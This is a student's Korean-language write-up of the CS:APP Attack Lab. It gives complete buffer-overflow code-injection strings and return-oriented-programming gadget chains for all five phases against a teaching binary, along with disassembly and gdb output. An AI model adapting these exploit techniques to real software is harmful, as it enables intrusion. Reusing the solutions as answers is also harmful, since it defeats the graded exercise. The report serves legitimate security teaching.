CSED211: Attack Lab Report

20230499/KimJaeHwan

1. Overview

이번 랩의 목표는 주어진 실행 파일의 버퍼 오버플로우 취약점을 이용하여 원하는 함수를 실행시키는 것이다. 총 5개로 구성되어 있으며, 두 자리 16진수를 하나의 바이트로 바꾸어주는 hex2raw 도구를 이용하여 적절한 문자열을 타겟에 입력함으로써 각 단계를 해결할 수 있다. 사람마다 다른 타겟을 받으며, 본 보고서의 경우 target68에 대하여 설명한다. 이 target68의 쿠키값은 0x5af8e81d이다.

2. Question #1. Code Injection Attack - level 1.

이번 단계에서는 getbuf() 함수의 버퍼 오버플로 취약점을 이용하여, touch1() 함수를 실행시켜 해결할 수 있다. 이 단계에서는 NX, ASLR과 같은 기술이 적용되어 있지 않으므로, 리턴 주소를 원하는 함수나 삽입한 인젝션 코드로 덮어씌우는 방법으로 쉽게 코드의 흐름을 바꿀 수 있다. 문제를 해결하기 위해 다음과 같은 사실을 파악하였다.

- getbuf() 함수에 해당하는 스택 프레임의 크기에 따른 리턴 주소의 위치

스택 프레임의 크기는 getbuf() 함수를 디스어셈블하여 확인할 수 있다.

```
Dump of assembler code for function getbuf:
   0x0000000000401858 <+0>:     sub    $0x38,%rsp
   0x000000000040185c <+4>:     mov    %rsp,%rdi
   0x000000000040185f <+7>:     callq  0x401a9a <Gets>
   0x0000000000401864 <+12>:    mov    $0x1,%eax
   0x0000000000401869 <+17>:    add    $0x38,%rsp
   0x000000000040186d <+21>:    retq
End of assembler dump.
```

getbuf() 함수는 push 인스트럭션을 갖지 않고, 0x38, 즉 56바이트를 스택 프레임으로서 갖는다. (리턴 주소는 제외한다) 추가로, Gets 함수의 매개변수로 rsp 레지스터가 들어가므로, 스택 프레임 전체만큼 모두 덮어씌우고 나서 리턴 주소에 작성하게 됨을 알 수 있다.

- touch1() 함수의 주소

gdb를 통해 쉽게 확인할 수 있으며, touch1() 함수의 주소는 0x40186e이다.

```
Dump of assembler code for function touch1:
   0x000000000040186e <+0>:     sub    $0x8,%rsp
   0x0000000000401872 <+4>:     movl   $0x1,0x202c80(%rip)        # 0x6044fc <vlevel>
   0x000000000040187c <+14>:    mov    $0x402fe0,%edi
   0x0000000000401881 <+19>:    callq  0x400c50 <puts@plt>
   0x0000000000401886 <+24>:    mov    $0x1,%edi
   0x000000000040188b <+29>:    callq  0x401c89 <validate>
   0x0000000000401890 <+34>:    mov    $0x0,%edi
   0x0000000000401895 <+39>:    callq  0x400df0 <exit@plt>
End of assembler dump.
```

위와 같은 사실들로부터, 56바이트만큼 아무 문자를 이용하여 칸을 채운 후, 57~64번째 문자를 주소로 작성하면 됨을 알 수 있다. 현재 사용하는 x86-64 아키텍쳐는 리틀-엔디안 방식을 사용하므로, 주소를 한 바이트씩 역순으로 작성해야 한다. 따라서 답은 다음과 같다.

Answer

aa aa aa aa aa aa aa aa
aa aa aa aa aa aa aa aa
aa aa aa aa aa aa aa aa
aa aa aa aa aa aa aa aa
aa aa aa aa aa aa aa aa
aa aa aa aa aa aa aa aa
aa aa aa aa aa aa aa aa
6e 18 40 00 00 00 00 00

aa : Padding. (56 bytes)
aa : Return address.

3. Question #2. Code Injection Attack - level 2.

이번 단계에서는 이전 단계와 비슷하게 touch2() 함수를 호출하는 것이 목표이지만, 그에 더해서 매개변수로 cookie의 값을 저장한 후 호출해야 한다. 이를 위해서, rdi 레지스터에 원하는 값을 넣는 로직을 추가해야 한다. 이를 위해서, getbuf() 함수의 스택프레임 내에 스택 프레임과 동일한 구조로, 즉 원하는 바이트 코드와 리턴 명령을 삽입하는 코드 인젝션 공격을 사용해야 한다. 우리가 인젝션할 코드는 다음과 같은 역할을 수행해야 한다.

- edi 레지스터에 쿠키 값을 저장한다.
- touch2() 함수를 호출한다.

이러한 역할은 각각 movl, pushq & ret 인스트럭션을 통해 구현할 수 있다. 구현에 필요한 touch2() 함수의 주소는 gdb를 통해 알 수 있다.

```
(gdb) disas touch2
Dump of assembler code for function touch2:
   0x000000000040189a <+0>:     sub    $0x8,%rsp
   0x000000000040189e <+4>:     mov    %edi,%esi
...
```

이러한 정보를 이용하여 원하는 코드를 기계어 수준을 얻기 위해서, 원하는 코드를 어셈블리어로 구현하여 컴파일하여 바이트 코드를 얻을 수 있었다. 다음은 작성한 어셈블리어 코드와, 이를 컴파일한 후 다시 objdump를 이용하여 얻은 바이트 코드이다.

```
.global main
main:
        movl $0x5af8e81d, %edi
        pushq $0x40189a
        ret
```

```
00000000004004ed <main>:
4004ed:     bf 1d e8 f8 5a          mov    $0x5af8e81d,%edi
4004f2:     68 9a 18 40 00          pushq  $0x40189a
4004f7:     c3                      retq
4004f8:     0f 1f 84 00 00 00 00    nopl   0x0(%rax,%rax,1)
4004ff:     00
```

즉, 이러한 코드를 공격 문자열 앞에 배치하고, 리턴 주소를 공격 문자열로 인젝션하면 이번 단계를 해결할 수 있다. ASLR 등의 보호 기법이 적용되어 있지 않으므로 getbuf() 함수에 중단점을 설정한 후 rsp 레지스터에 들어있는 값을 출력하면 쉽게 알 수 있다.

```
(gdb) b *getbuf+4
Breakpoint 2 at 0x40185c: file buf.c, line 14.
(gdb) r
Starting program: /home/std/carotinoid/target68/ctarget
Cookie: 0x5af8e81d
Breakpoint 2, getbuf () at buf.c:14
14          in buf.c
(gdb) p $rsp
$2 = (void *) 0x5560a888
```

getbuf+4 위치에 중단점을 설정한 이유는, getbuf 부터 +4 위치에는 rsp에 sub (스택 프레임 공간을 할당하는) 명령을 수행하기 때문이다. 따라서 답은 다음과 같다.

Answer

bf 1d e8 f8 5a 68 9a 18
40 00 c3 *aa aa aa aa aa*
aa aa aa aa aa aa aa aa
aa aa aa aa aa aa aa aa
aa aa aa aa aa aa aa aa
aa aa aa aa aa aa aa aa
aa aa aa aa aa aa aa aa
88 a8 60 55 00 00 00 00

aa : Padding.
aa : Return address.
aa : Injected byte code.
(bytecode + padding = 56 bytes)

4. Question #3. Code Injection Attack - level 3.

이번 단계는 전 단계와 동일한 방법을 사용하여 풀 수 있다. 대신, 매개변수에 cookie의 값이 아니라, cookie 문자열의 주소를 저장해야 한다. 즉, 공격 문자열에 쿠키 문자열, 공격할 스택 프레임, 56바이트를 맞추기 위한 공간, 덮어씌울 리턴 주소를 포함하면 된다. 각 정보는 다음과 같이 얻을 수 있다.

- 쿠키 문자열

```
>>> str = "5af8e81d"
>>> for i in str:
...     print(hex(ord(i)), end=" ")
0x35 0x61 0x66 0x38 0x65 0x38 0x31 0x64
```

문자열 형식이므로 문자열 마지막에 널 문자 (00) 을 추가해야 한다.

- 공격으로 인젝션할 바이트 코드

이전 단계와 마찬가지로, 원하는 코드를 직접 어셈블리어로 작성한 후, gcc와 objdump를 이용하여 원하는 바이트 코드를 얻을 수 있다.

```
Dump of assembler code for function touch3:
   0x000000000040196e <+0>:     push   %rbx
   0x000000000040196f <+1>:     mov    %rdi,%rbx
...
```

```
.global main
main:
    mov $0x5560a888, %edi
    pushq $0x40196e
    ret
```

```
00000000004004ed <main>:
4004ed:      bf 88 a8 60 55          mov    $0x5560a888,%edi
4004f2:      68 6e 19 40 00          pushq  $0x40196e
4004f7:      c3                      retq
4004f8:      0f 1f 84 00 00 00 00    nopl   0x0(%rax,%rax,1)
4004ff:      00
```

● 리턴 주소

덮어씌울 리턴 주소는 이전 단계에서 구한 rsp 레지스터의 값에, 문자열 9바이트 다음 주소를 사용하였다. (0x5560a888 + 0x9 = 0x5560a891) 따라서 답은 다음과 같다.

Answer

35 61 66 38 65 38 31 64
00 bf 88 a8 60 55 68 6e
19 40 00 c3 *aa aa aa aa*
aa aa aa aa aa aa aa aa
aa aa aa aa aa aa aa aa
aa aa aa aa aa aa aa aa
aa aa aa aa aa aa aa aa
91 a8 60 55 00 00 00 00

aa : Padding.
aa : Return address.
aa : Injected byte code.
aa : String (cookie).
(Cookie string + Injected byte code + padding = 56 bytes)

5. Question #4. Return-Oriented Programming - level 2.

.이번 단계에서는, 이전 세 단계와 달리 NX와 ASLR이 적용되어 있어 기존 코드 인젝션 방법이 통하지 않는다. 대신, 기존에 포함된 코드 조각, 즉 가젯을 연결해서 원하는 대로 흐름을 제어할 수 있다. 이번 단계에서는 가젯 팜에서 적절한 가젯을 선택하여, touch2() 함수를 호출하되 매개변수로 쿠키값을 저장하도록 해야 한다.

특정 레지스터에 원하는 값을 넣는 명령은 popq를 이용할 수 있으므로, popq (reg) 명령을 포함하는 가젯이 있는지 모두 확인한 결과 getval_304() 함수에서 eax 레지스터에 원하는 값을 넣을 수 있음을 확인하였다.

```
0000000000401a18 <getval_304>:
  401a18:    b8 de 07 0c 58          mov    $0x580c07de,%eax
  401a1d:    c3                      retq
```

-> 401a1c 주소에서 시작하는 58 / ca 는 각각 popq eax; ret; 이다.

eax 레지스터의 값을 매개변수 레지스터인 rdi 레지스터로 옮기기 위해 관련 가젯을 찾은 결과, addval_489 함수에서 movl eax, edi 가젯을 사용할 수 있음을 확인하였다.

```
0000000000401a03 <addval_489>:
  401a03:   8d 87 4c 89 c7 c3        lea     -0x3c3876b4(%rdi),%eax
  401a09:   c3                       retq
```

-> 401a06 주소에서 시작하는 89 c7 / c3 는 각각 movl eax, edi; ret; 이다.

이에 더해서, touch2() 함수는 exit(0); 통해 바로 종료하므로, 가젯으로 인해 기존 프레임이 망가져도 문제없이 작동할 것이다. 따라서 위 두 가젯을 활용하여 다음과 같은 답을 얻을 수 있다.

Answer

#은 주석을 추가하기 위해 임의로 사용한 기호로, 정답에 포함되지 않는다.

```
aa aa aa aa aa aa aa aa
aa aa aa aa aa aa aa aa
aa aa aa aa aa aa aa aa
aa aa aa aa aa aa aa aa
aa aa aa aa aa aa aa aa
aa aa aa aa aa aa aa aa
aa aa aa aa aa aa aa aa
1c 1a 40 00 00 00 00 00     # pop rax <getval_304>
1d e8 f8 5a 00 00 00 00     # 5af8e81d
06 1a 40 00 00 00 00 00     # movl eax, edi <addval_489>
9a 18 40 00 00 00 00 00
```

aa : Padding. (56 bytes)
aa : Gadget.
aa : Value. (Cookie).
aa : Call function.

6. Question #5. Return-Oriented Programming - level 3.

이번 단계에서는 3번, 4번 문제를 섞은 듯한 단계로, touch3() 함수를 호출하되 매개변수에 cookie 문자열이 들어있는 주소를 저장해야 한다. 간단하게 생각하면, 문자열을 스택에 작성한 후 해당 주소를 rdi 레지스터에 넣고 touch3() 함수를 호출하면 되므로, 다음과 같이 시도해 보았다.

Wrong Answer

```
35 61 66 38 65 38 31 64
00 aa aa aa aa aa aa aa
aa aa aa aa aa aa aa aa
aa aa aa aa aa aa aa aa
aa aa aa aa aa aa aa aa
aa aa aa aa aa aa aa aa
aa aa aa aa aa aa aa aa
aa aa aa aa aa aa aa aa
movq rsp, rax;
movq rax, rdi;
touch3()
```

그러나 스택 프레임이 덮어씌워지거나 스택 보호 기법 등으로 인해 세그폴트가 발생함을 확인하였고, 이에 더해 rsp 레지스터의 값이 쿠키 문자열의 주소가 아니라는 문제가 있었다. x86_64 아키텍쳐의 일반적

인 ROP 기법에 따라 매개변수를 맨 마지막에 입력하기로 하였다. 즉, 다음과 같은 답을 생각하였다.

```
Wrong Answer
aa (Padding, 56bytes)
rsp -> (reg)
(reg) -> modified (reg) (address of cookie string)
rsp -> rdi
touch3()
cookie string
```

rsp 레지스터의 값을 다른 레지스터로 복사한 경우, 그 시점에서의 rsp 레지스터는 쿠키 문자열의 주소를 담지 않고 있다는 문제가 있어, 해당 레지스터의 값을 적절히 수정해야 한다. 즉 rsp 레지스터를 다른 레지스터로 복사한 후 적절한 값을 더해서 쿠키 문자열을 가리키도록 만들어야 한다. 이때의 적절한 값은 우리가 입력한 공격 문자열에 따라서 결정되므로, 모든 명령을 완성한 후에 결정한다.

가장 먼저 rsp 레지스터의 값을 다른 레지스터로 복사하는 가젯을 먼저 찾아보았다. 이때 유의할 점은 rsp 레지스터에 들어있는 값이었다. gdb를 통해 확인해보면 다음과 같다.

```
(gdb) b *getbuf+4
Breakpoint 1 at ... (생략)
(gdb) r
Starting program: ... (생략)
(gdb) p $rsp
$1 = (void *) 0x7fffffffa0590
```

ASLR 기법에 따라 실행할 때마다 위치가 바뀌며, 또한 이전과 달리 8바이트 모두 채워져 있으므로 movl이 아닌 movq 인스트럭션을 사용해야만 함을 확인할 수 있다. movl 명령은 4바이트를 복사한 후, 나머지 4바이트를 0으로 초기화하기 때문이다. 따라서 movq rsp (reg) 가젯이 있는지 모두 확인한 결과, setval_114() 함수에서 movq rsp rax 가젯을 찾을 수 있었다.

```
0000000000401afb <setval_114>:
  401afb:   c7 07 48 89 e0 90       movl   $0x90e08948,(%rdi)
  401b01:   c3                      retq
```

-> 401afd 위치부터 48 89 40 / 90 / c3 는 각각 movq rsp, rax; nop; ret; 이다.

rsp 레지스터의 값을 rax 레지스터에 저장하였고, rax 레지스터의 값을 매개변수 레지스터인 rdi 레지스터에 복사하기 위해서는 setval_422() 함수에서 발견한 movq rax, rdi 가젯을 사용하였다.

```
0000000000401a0a <setval_422>:
  401a0a:   c7 07 48 89 c7 c3       movl   $0xc3c78948,(%rdi)
  401a10:   c3                      retq
```

-> 401a0c 위치부터 48 89 c7 / c3 는 각각 movq rax rdi; ret; 이다.

이렇게 얻은 rsp의 값은 우리가 입력한 쿠키 문자열의 주소를 가리키고 있지 않다. 대신 쿠키 문자열의

위치를 rsp 레지스터로부터 상대적인 위치를 얻었고, 그 차이는 입력에 따라 결정되므로 입력에 따른 적절한 값을 더해줌으로써 쿠키 문자열의 주소를 만들 수 있다. 따라서 두 값을 더하는 과정이 필요하다. addq와 같은 인스트럭션은 없지만, 가젯 팜에서 다음과 같은 유용한 함수를 활용하여 해결할 수 있었다.

```
0000000000401a38 <add_xy>:
  401a38:    48 8d 04 37                lea      (%rdi,%rsi,1),%rax
  401a3c:    c3                         retq
```

현재 rsp 레지스터의 값은 rdi 레지스터에 들어 있으므로 rdi 레지스터의 값과 쿠키 문자열의 상대적인 위치를 비교해서 그 거리를 rsi 레지스터에 저장한 후, add_xy() 함수를 호출함으로써 정확한 쿠키 문자열의 위치를 얻을 수 있다. 원하는 값은 이전 문제 해결에서 사용한 popq rax 가젯을 사용할 수 있으므로 rax 레지스터에 저장된 값을 rsi 레지스터까지 옮기면 문제를 해결할 수 있다.

가장 먼저, 어느 레지스터에서 rsi 레지스터로 mov 명령을 할 수 있는지 확인해본 결과, getval_216() 함수에서 오로지 movl edx, esi 가젯만 있음을 알 수 있었다. 이때 우리가 입력할 상대위치(거리)는 적은 수이므로, 4바이트 (movl)내에 충분히 표현된다.

```
0000000000401ac1 <getval_216>:
  401ac1:    b8 89 d6 c3 0e             mov      $0xec3d689,%eax
  401ac6:    c3                         retq
```

->401ac2 위치부터 89 d6 / c3 는 각각 movl edx, esi; ret; 이다.

esi 레지스터에는 오로지 edx 레지스터에 있는 값만 넣을 수 있다. 이는 우리가 원하던 eax 레지스터가 아니므로, 다시 edx 레지스터는 어느 레지스터로부터 값을 받을 수 있는지 모두 확인하였다. 그 결과 addval_336() 함수로부터 movl ecx, edx 가젯이 있음을 알 수 있었다.

```
0000000000401a7f <addval_336>:
  401a7f:    8d 87 89 ca 08 db          lea      -0x24f73577(%rdi),%eax
  401a85:    c3
```

-> 401a81 위치부터 89 ca / 08 db / c3는 각각 movl ecx, edx; orb bl, bl (nop); ret; 이다.

역시 ecx 레지스터도 아직 우리가 원하는 값을 넣을 수 없으므로, ecx 레지스터에 원하는 값을 넣을 수 있는지 확인한 결과 마침내 getval_494() 함수에서 movl eax, ecx 가젯이 있음을 확인하였다.

```
0000000000401abb <getval_494>:
  401abb:    b8 89 c1 38 d2             mov      $0xd238c189,%eax
  401ac0:    c3                         retq
```

401abc 위치부터 89 c1 / 38 d2 / c3 는 각각 movl eax, ecx; comb dl, dl (nop); ret; 이다.

따라서 popq rax로 원하는 값을 eax 레지스터에 저장한 후, eax -> ecx -> edx -> esi 과정을 통해 여러 레지스터를 거쳐 원하는 값을 esi 레지스터에 저장할 수 있게 되었다. 이 원하는 값은 movq rsp, rax 가젯으로부터 쿠키 문자열까지의 거리로, 그 사이에 몇 개의 바이트를 입력해주었는지 계산하여 구할

수 있다.

즉, 정리하자면 다음과 같다.

- movq rsp, rax; movq rax; rdi; 과정을 통해 쿠키 문자열로부터 어느정도 떨어진 위치를 rdi레지스터에 저장한다.
- 떨어진 거리를 popq rax; 가젯을 통해 rax 레지스터에 넣은 후, eax -> ecx -> edx -> esi 과정을 통해 esi 레지스터에 저장한다.
- add_xy() 함수를 통해 rdi, rsi 레지스터의 값을 더해 eax에 쿠키 문자열의 주소를 만들어 저장한다.
- movq rax, rdi; 가젯으로 rdi 레지스터에 쿠키 문자열의 주소를 저장한다.
- 마지막으로 touch3() 함수를 호출하면, 공격을 성공할 수 있다.

이를 통해 다음과 같은 답을 얻을 수 있다. 다음 답에서 movq rsp, rax; 가젯으로부터 쿠키 문자열은 0x20 = 32바이트 떨어져 있으므로, esi 레지스터에 0x20 바이트를 넣는 것을 확인할 수 있다. 이를 시각화하기 위해 rsp 레지스터의 값을 * 과 ^ 기호로 표기하였다.

Answer

#, *, ^ 등의 기호는 정답에 포함되지 않으며, #은 주석을 추가하기 위해 임의로 사용한 기호이다.

```
    aa aa aa aa aa aa aa aa
    aa aa aa aa aa aa aa aa
    aa aa aa aa aa aa aa aa
    aa aa aa aa aa aa aa aa
    aa aa aa aa aa aa aa aa
    aa aa aa aa aa aa aa aa
    aa aa aa aa aa aa aa aa
    1c 1a 40 00 00 00 00 00    # pop rax <getval_304>
    20 00 00 00 00 00 00 00    # 0x20
    bc 1a 40 00 00 00 00 00    # movl eax, ecx <getval_494>
    81 1a 40 00 00 00 00 00    # movl ecx, edx <getval_423>
    c2 1a 40 00 00 00 00 00    # movl edx, esi <getval_216>
    fd 1a 40 00 00 00 00 00    # movq rsp, rax <setval_114> ( * : position of rsp, )
*   0c 1a 40 00 00 00 00 00    # movq rax, rdi <setval_422>
    38 1a 40 00 00 00 00 00    # add_xy
    0c 1a 40 00 00 00 00 00    # movq rax, rdi <setval_422>
    6e 19 40 00 00 00 00 00    # touch3
^   35 61 66 38 65 38 31 64    # ( ^ : position of rsp+0x20 when "movq rsp rax" gadget. )
    00
```

```
aa : Padding (56 bytes).
aa : Gadget.
aa : Value. (Distance)
aa : Call function.
aa : String (cookie).
aa : Distance of * and ^ = 0x20
```

7. Result

문자열에 0x0a를 포함하지 않아도 돼서, 좀 더 쉽게 문제를 해결할 수 있었던 것 같다. 모든 문제를 성공적으로 해결하여 모든 점수를 획득하였다.

31	68	Tue Nov 5 22:00:55 2024	100	10	25	25	35	5

* 등수는 24.11.05 22시 15분에 확인하였음.

8. Reference

Computer Systems: A Programmer's Perspective, 3/E (CS:APP3e), Randal E. Bryant and David R. O'Hallaron, Carnegie Mellon University.